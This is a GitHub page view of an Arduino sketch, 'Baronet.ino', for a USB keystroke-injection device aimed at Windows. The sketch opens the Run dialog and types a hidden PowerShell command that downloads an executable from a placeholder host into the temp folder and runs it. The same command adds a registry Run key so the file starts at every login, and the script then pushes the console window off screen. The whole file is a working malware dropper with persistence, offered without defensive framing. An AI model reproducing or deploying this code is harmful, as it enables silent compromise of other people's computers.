-
Notifications
You must be signed in to change notification settings - Fork 0
/
Baronet.ino
44 lines (40 loc) · 1.03 KB
/
Baronet.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "Keyboard.h"
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup()
{
// Begining the Keyboard stream
delay(1000);
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
delay(1000);
Keyboard.press('r');
delay(1000);
Keyboard.releaseAll();
delay(700);
Keyboard.print("powershell -Windowstyle hidden (New-Object Net.WebClient).DownloadFile('http://domain.com','%TEMP%\\baronet.exe');start-process %TEMP%\\baronet.exe;REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"aloo\" /t REG_SZ /F /D \"%%TEMP\\baronet.exe\"");
delay(100);
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.press(' ');
delay(100);
Keyboard.releaseAll();
delay(100);
Keyboard.print(F("M"));
delay(1000);
for(int i = 0; i < 100; i++) {
typeKey(KEY_DOWN_ARROW);
}
delay(100);
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}